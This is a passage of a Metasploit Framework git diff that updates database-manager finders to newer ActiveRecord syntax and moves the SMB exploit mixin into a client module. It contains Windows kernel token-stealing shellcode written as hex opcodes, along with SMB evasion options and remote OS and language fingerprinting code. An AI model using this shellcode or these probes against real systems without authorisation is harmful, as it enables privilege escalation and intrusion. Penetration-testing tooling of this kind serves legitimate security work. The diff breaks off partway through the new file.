b/lib/msf/core/db_manager/cred.rb @@ -102,28 +102,28 @@ module Msf::DBManager::Cred # If duplicate usernames are okay, find by both user and password (allows # for actual duplicates to get modified updated_at, sources, etc) if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize else cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") unless cred dcu = token[0].downcase cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize end end end else # Create the cred by username only (so we can change passwords) if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize else cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype) unless cred dcu = token[0].downcase cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize end end end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index b4ff90063f..26dae7a27a 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -166,9 +166,9 @@ module Msf::DBManager::Host end if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize else - host = wspace.hosts.find_or_initialize_by_address(addr) + host = wspace.hosts.where(address: addr).first_or_initialize end else host = addr @@ -257,9 +257,9 @@ module Msf::DBManager::Host end if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize else - host = wspace.hosts.find_or_initialize_by_address(addr) + host = wspace.hosts.where(address: addr).first_or_initialize end else host = addr diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index 83613334ab..ff6087d086 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -8,7 +8,7 @@ module Msf::DBManager::Ref return ret[:ref] if ret[:ref] ::ActiveRecord::Base.connection_pool.with_connection { - ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name]) + ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize if ref and ref.changed? ref.save! end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 4640da2171..954957a55e 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -87,7 +87,7 @@ module Msf::DBManager::Service proto = opts[:proto] || 'tcp' - service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto) + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize opts.each { |k,v| if (service.attribute_names.include?(k.to_s)) service[k] = ((v and k == :name) ? v.to_s.downcase : v) diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 5b3e9caf27..dbe79dcf6f 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -31,7 +31,7 @@ module Msf::DBManager::Vuln vuln = nil if service - vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit) + vuln = service.vulns.includes(:vuln_details).where(crit).first end # Return if we matched based on service @@ -39,7 +39,7 @@ module Msf::DBManager::Vuln # Prevent matches against other services crit["vulns.service_id"] = nil if service - vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit) + vuln = host.vulns.includes(:vuln_details).where(crit).first return vuln end @@ -168,7 +168,7 @@ module Msf::DBManager::Vuln sname = opts[:proto] end - service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto) + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create end # Try to find an existing vulnerability with the same service & references diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb index f23d481f12..414846be95 100644 --- a/lib/msf/core/db_manager/web.rb +++ b/lib/msf/core/db_manager/web.rb @@ -135,7 +135,7 @@ module Msf::DBManager::Web ret = {} - page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query) + page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize page.code = code page.body = body page.headers = headers @@ -243,7 +243,7 @@ module Msf::DBManager::Web =end vhost ||= host.address - site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id]) + site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize site.options = opts[:options] if opts[:options] # XXX: @@ -342,7 +342,7 @@ module Msf::DBManager::Web meth = meth.to_s.upcase - vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer) + vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize vuln.name = name vuln.risk = risk vuln.params = para diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index f512e015b0..2f409db51e 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -4,7 +4,7 @@ module Msf::DBManager::Workspace # def add_workspace(name) ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find_or_create_by_name(name) + ::Mdm::Workspace.where(name: name).first_or_create } end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index a1c8cc9589..adc0132b02 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -83,7 +83,11 @@ module Exploit::Remote::Ftp # convert port to FTP syntax datahost = "#{$1}.#{$2}.#{$3}.#{$4}" dataport = ($5.to_i * 256) + $6.to_i - self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) end self.datasocket end diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 0c50d54c49..adc988a3cb 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel # original token to so it can be restored later. # @param arch [String] The architecture to return shellcode for. If this is nil, # the arch will be guessed from the target and then module information. + # @param append_ret [Boolean] Append a ret instruction for use when being called + # in place of HaliQuerySystemInformation. # @return [String] The token stealing shellcode. # @raise [ArgumentError] If the arch is incompatible. # - def token_stealing_shellcode(target, backup_token = nil, arch = nil) + def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true) arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] if arch.nil? && module_info['Arch'] arch = module_info['Arch'] @@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided end tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x75\xe8" # jne 0000101e ======================| + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + if append_ret + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + end else # if this is reached the issue most likely exists in the exploit module print_error('Unsupported arch for token stealing shellcode') diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d2b8c575c6..af02fa9f9b 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -28,9 +28,10 @@ require 'msf/core/exploit/ipv6' require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' require 'msf/core/exploit/dcerpc' -require 'msf/core/exploit/smb' -require 'msf/core/exploit/smb/authenticated' -require 'msf/core/exploit/smb/psexec' +require 'msf/core/exploit/smb/client' +require 'msf/core/exploit/smb/client/authenticated' +require 'msf/core/exploit/smb/client/psexec' +require 'msf/core/exploit/smb/server' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index b99abc4859..be16970ec5 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -296,8 +296,8 @@ EOS if opts[:prepend_sleep] if opts[:prepend_sleep].to_i > 0 psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload - else - vprint_error('Sleep time must be greater than 0 seconds') + elsif opts[:prepend_sleep].to_i < 0 + vprint_error('Sleep time must be greater than or equal to 0 seconds') end end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb deleted file mode 100644 index b044eb2c1a..0000000000 --- a/lib/msf/core/exploit/smb.rb +++ /dev/null @@ -1,645 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/smb' -require 'rex/proto/ntlm' -require 'rex/proto/dcerpc' -require 'rex/encoder/ndr' - -module Msf - -require 'msf/core/exploit/smb_server' - -### -# -# This mixin provides utility methods for interacting with a SMB/CIFS service on -# a remote machine. These methods may generally be useful in the context of -# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB -# service can be accessed at a time using this class. -# -### - -module Exploit::Remote::SMB - - include Exploit::Remote::Tcp - include Exploit::Remote::NTLM::Client - - SIMPLE = Rex::Proto::SMB::SimpleClient - XCEPT = Rex::Proto::SMB::Exceptions - CONST = Rex::Proto::SMB::Constants - - - # Alias over the Rex DCERPC protocol modules - DCERPCPacket = Rex::Proto::DCERPC::Packet - DCERPCClient = Rex::Proto::DCERPC::Client - DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID - NDR = Rex::Encoder::NDR - - def initialize(info = {}) - super - - register_evasion_options( - [ - OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), - OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), - OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), - OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), - OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), - OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), - OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), - OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), - - ], Msf::Exploit::Remote::SMB) - - register_advanced_options( - [ - OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), - OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), - OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), - OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), - # - # Control the identified operating system of the client - # - OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), - OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), - - ], Msf::Exploit::Remote::SMB) - - register_options( - [ - Opt::RHOST, - OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) - ], Msf::Exploit::Remote::SMB) - - register_autofilter_ports([ 139, 445]) - register_autofilter_services(%W{ netbios-ssn microsoft-ds }) - end - - # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection - # and configure evasion options - # - # Also populates {#simple}. - # - # @param (see Exploit::Remote::Tcp#connect) - # @return (see Exploit::Remote::Tcp#connect) - def connect(global=true) - - disconnect() if global - - s = super(global) - self.sock = s if global - - # Disable direct SMB when SMBDirect has not been set - # and the destination port is configured as 139 - direct = smb_direct - if(datastore.default?('SMBDirect') and rport.to_i == 139) - direct = false - end - - c = SIMPLE.new(s, direct) - - # setup pipe evasion foo - if datastore['SMB::pipe_evasion'] - # XXX - insert code to change the instance of the read/write functions to do segmentation - end - - if (datastore['SMB::pad_data_level']) - c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] - end - - if (datastore['SMB::pad_file_level']) - c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] - end - - if (datastore['SMB::obscure_trans_pipe_level']) - c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] - end - - self.simple = c if global - c - end - - # Convert a standard ASCII string to 16-bit Unicode - def unicode(str) - Rex::Text.to_unicode(str) - end - - # Establishes an SMB session over the default socket and connects to - # the IPC$ share. - # - # You should call {#connect} before calling this - # - # @return [void] - def smb_login - simple.login( - datastore['SMBName'], - datastore['SMBUser'], - datastore['SMBPass'], - datastore['SMBDomain'], - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - end - - - # This method returns the native operating system of the peer - def smb_peer_os - self.simple.client.peer_native_os - end - - # This method returns the native lanman version of the peer - def smb_peer_lm - self.simple.client.peer_native_lm - end - - # This method opens a handle to an IPC pipe - def smb_create(pipe) - self.simple.create_pipe(pipe) - end - - #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) - #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED - #fd.chunk_size = 500 is better - def smb_open(path, perm) - self.simple.open(path, perm, datastore['SMB::ChunkSize']) - end - - def smb_hostname - datastore['SMBName'] || '*SMBSERVER' - end - - def smb_direct - datastore['SMBDirect'] - end - - def domain - datastore['SMBDomain'] - end - - def smbhost - if domain == "." - "#{rhost}:#{rport}" - else - "#{rhost}:#{rport}|#{domain}" - end - end - - # If the username contains a / slash, then - # split it as a domain/username. NOTE: this - # is predicated on forward slashes, and not - # Microsoft's backwards slash convention. - def domain_username_split(user) - return user if(user.nil? || user.empty?) - if !user[/\//] # Only /, not \! - return [nil,user] - else - return user.split("/",2) - end - end - - def splitname(uname) - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(uname) - return u - else - return uname - end - end - - # Whether a remote file exists - # - # @param file [String] Path to a file to remove, relative to the - # most-recently connected share - # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] - def smb_file_exist?(file) - begin - fd = simple.open(file, 'ro') - rescue XCEPT::ErrorCode => e - # If attempting to open the file results in a "*_NOT_FOUND" error, - # then we can be sure the file is not there. - # - # Copy-pasted from smb/exceptions.rb to avoid the gymnastics - # required to pull them out of a giant inverted hash - # - # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", - # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", - # 0xC0000225 => "STATUS_NOT_FOUND", - error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) - # If the server returns some other error, then there was a - # permissions problem or some other difficulty that we can't - # really account for and hope the caller can deal with it. - raise e unless error_is_not_found - found = !error_is_not_found - else - # There was no exception, so we know the file is openable - fd.close - found = true - end - - found - end - - # Remove remote file - # - # @param file (see #smb_file_exist?) - # @return [void] - def smb_file_rm(file) - fd = smb_open(file, 'ro') - fd.delete - end - - - # - # Fingerprinting methods - # - - - # Calls the EnumPrinters() function of the spooler service - def smb_enumprinters(flags, name, level, blen) - stub = - NDR.long(flags) + - (name ? NDR.uwstring(name) : NDR.long(0)) + - NDR.long(level) + - NDR.long(rand(0xffffffff)+1)+ - NDR.long(blen) + - "\x00" * blen + - NDR.long(blen) - - handle = dcerpc_handle( - '12345678-1234-abcd-ef00-0123456789ab', '1.0', - 'ncacn_np', ["\\SPOOLSS"] - ) - - begin - dcerpc_bind(handle) - dcerpc.call(0x00, stub) - return dcerpc.last_response.stub_data - rescue ::Interrupt - raise $! - rescue ::Exception => e - return nil - end - end - - # This method dumps the print provider strings from the spooler - def smb_enumprintproviders - resp = smb_enumprinters(8, nil, 1, 0) - return nil if not resp - rptr, tmp, blen = resp.unpack("V*") - - resp = smb_enumprinters(8, nil, 1, blen) - return nil if not resp - - bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") - return nil if stat != 0 - return nil if pcnt == 0 - return nil if bcnt > blen - return nil if pcnt < 3 - - # - # The correct way, which leads to invalid offsets :-( - # - #providers = [] - # - #0.upto(pcnt-1) do |i| - # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") - # - # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') - # #name = read_unicode(resp,8+name_o).gsub("\x00", '') - # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') - # #providers << [flags,desc,name,comm] - #end - # - #providers - - return resp - - end - - # This method performs an extensive set of fingerprinting operations - def smb_fingerprint - fprint = {} - - # Connect to the server if needed - if not self.simple - connect() - smb_login() - end - - fprint['native_os'] = smb_peer_os() - fprint['native_lm'] = smb_peer_lm() - - # Leverage Recog for SMB native OS fingerprinting - fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } - - os = fp_match['os.product'] || 'Unknown' - sp = fp_match['os.version'] || '' - - # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' - if os =~ /^Windows Server/ - os = os.sub(/^Windows Server/, 'Windows') - end - - if fp_match['os.edition'] - fprint['edition'] = fp_match['os.edition'] - end - - if fp_match['os.build'] - fprint['build'] = fp_match['os.build'] - end - - if sp == '' - sp = smb_fingerprint_windows_sp(os) - end - - lang = smb_fingerprint_windows_lang - - fprint['os'] = os - fprint['sp'] = sp - fprint['lang'] = lang - - fprint - end - - # - # Determine the service pack level of a Windows system via SMB probes - # - def smb_fingerprint_windows_sp(os) - sp = '' - - if (os == 'Windows XP') - # SRVSVC was blocked in SP2 - begin - smb_create("\\SRVSVC") - sp = 'Service Pack 0 / 1' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 2+' - end - end - end - - if (os == 'Windows 2000' and sp.length == 0) - # LLSRPC was blocked in a post-SP4 update - begin - smb_create("\\LLSRPC") - sp = 'Service Pack 0 - 4' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 4 with MS05-010+' - end - end - end - - # - # Perform granular XP SP checks if LSARPC is exposed - # - if (os == 'Windows XP') - - # - # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC - # Credit to spoonm for first use of unbounded [out] buffers - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = - NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.long(64001) + - NDR.long(0) + - NDR.long(0) - - dcerpc.call(0x22, stub) - sp = "Service Pack 0 / 1" - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Rex::Proto::DCERPC::Exceptions::Fault - sp = "Service Pack 2+" - rescue ::Exception - end - - - # - # Service Pack 3 fixed information leaks via [unique][out] pointers - # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] - # Credit: - # Pointer leak is well known, but Immunity also covered in a paper - # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) - resp = dcerpc.call(0x1c, stub) - - if(resp and resp[0,4] == "\x00\x00\x02\x00") - sp = "Service Pack 3" - else - if(resp and sp =~ /Service Pack 2\+/) - sp = "Service Pack 2" - end - end - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Exception - end - end - - sp - end - - - # - # Determine the native language pack of a Windows system via SMB probes - # - def smb_fingerprint_windows_lang - - # - # Remote language detection via Print Providers - # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt - # - - lang = 'Unknown' - - sigs = - { - 'English' => - [ - Rex::Text.to_unicode('Windows NT Remote Printers'), - Rex::Text.to_unicode('LanMan Print Services') - ], - 'Spanish' => - [ - Rex::Text.to_unicode('Impresoras remotas Windows NT'), - Rex::Text.to_unicode('Impresoras remotas de Windows NT') - ], - 'Italian' => - [ - Rex::Text.to_unicode('Stampanti remote di Windows NT'), - Rex::Text.to_unicode('Servizi di stampa LanMan') - ], - 'French' => - [ - Rex::Text.to_unicode('Imprimantes distantes NT'), - Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), - Rex::Text.to_unicode("Services d'impression LanMan") - ], - 'German' => - [ - Rex::Text.to_unicode('Remotedrucker') - ], - 'Portuguese - Brazilian' => - [ - Rex::Text.to_unicode('Impr. remotas Windows NT'), - Rex::Text.to_unicode('Impressoras remotas do Windows NT') - ], - 'Portuguese' => - [ - Rex::Text.to_unicode('Imp. remotas do Windows NT') - ], - 'Hungarian' => - [ - Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") - ], - 'Finnish' => - [ - Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") - ], - 'Dutch' => - [ - Rex::Text.to_unicode('Externe printers voor NT') - ], - 'Danish' => - [ - Rex::Text.to_unicode('Fjernprintere') - ], - 'Swedish' => - [ - Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") - ], - 'Polish' => - [ - Rex::Text.to_unicode('Zdalne drukarki') - ], - 'Czech' => - [ - Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") - ], - 'Turkish' => - [ - "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" - ], - 'Japanese' => - [ - "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" - ], - 'Chinese - Traditional' => - [ - "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" - ], - 'Chinese - Traditional / Taiwan' => - [ - "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", - ], - 'Korean' => - [ - "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", - ], - 'Russian' => - [ - "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", - ], - - } - - begin - prov = smb_enumprintproviders() - if(prov) - sigs.each_key do |k| - sigs[k].each do |s| - if(prov.index(s)) - lang = k - break - end - break if lang != 'Unknown' - end - break if lang != 'Unknown' - end - - if(lang == 'Unknown') - - @fpcache ||= {} - mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) - - if(not @fpcache[mhash]) - - buff = "\n" - buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" - buff << " VERS: $Revision$\n" - buff << " HOST: #{rhost}\n" - buff << " OS: #{os}\n" - buff << " SP: #{sp}\n" - - prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| - next if line.length == 0 - buff << " FP: #{line}\n" - end - - prov.split(/\x00\x00+/n).each do |line| - line.gsub!("\x00",'') - line.strip! - next if line.length < 6 - - buff << " TXT: #{line}\n" - end - - buff << "*** END FINGERPRINT\n" - - print_line(buff) - - @fpcache[mhash] = true - end - - end - end - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - end - lang - end - - # @return [Rex::Proto::SMB::SimpleClient] - attr_accessor :simple - -end - - -end diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb new file mode 100644 index 0000000000..a415a9bf4b --- /dev/null +++ b/lib/msf/core/exploit/smb/client.rb @@ -0,0 +1,636 @@ +# -*- coding: binary -*- +require 'rex/proto/smb' +require 'rex/proto/ntlm' +require 'rex/proto/dcerpc' +require 'rex/encoder/ndr' + +module Msf + module Exploit::Remote::SMB + # This mixin provides utility methods for interacting with a SMB/CIFS service on + # a remote machine. These methods may generally be useful in the context of + # exploitation. This mixin extends the Tcp exploit mixin. Only one SMB + # service can be accessed at a time using this class. + module Client + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::NTLM::Client + + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + # Alias over the Rex DCERPC protocol modules + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + NDR = Rex::Encoder::NDR + + def initialize(info = {}) + super + + register_evasion_options( + [ + OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), + OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), + OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), + OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), + OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), + OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), + OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), + OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), + + ], Msf::Exploit::Remote::SMB::Client) + + register_advanced_options( + [ + OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), + OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), + OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), + OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), + # + # Control the identified operating system of the client + # + OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), + OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), + + ], 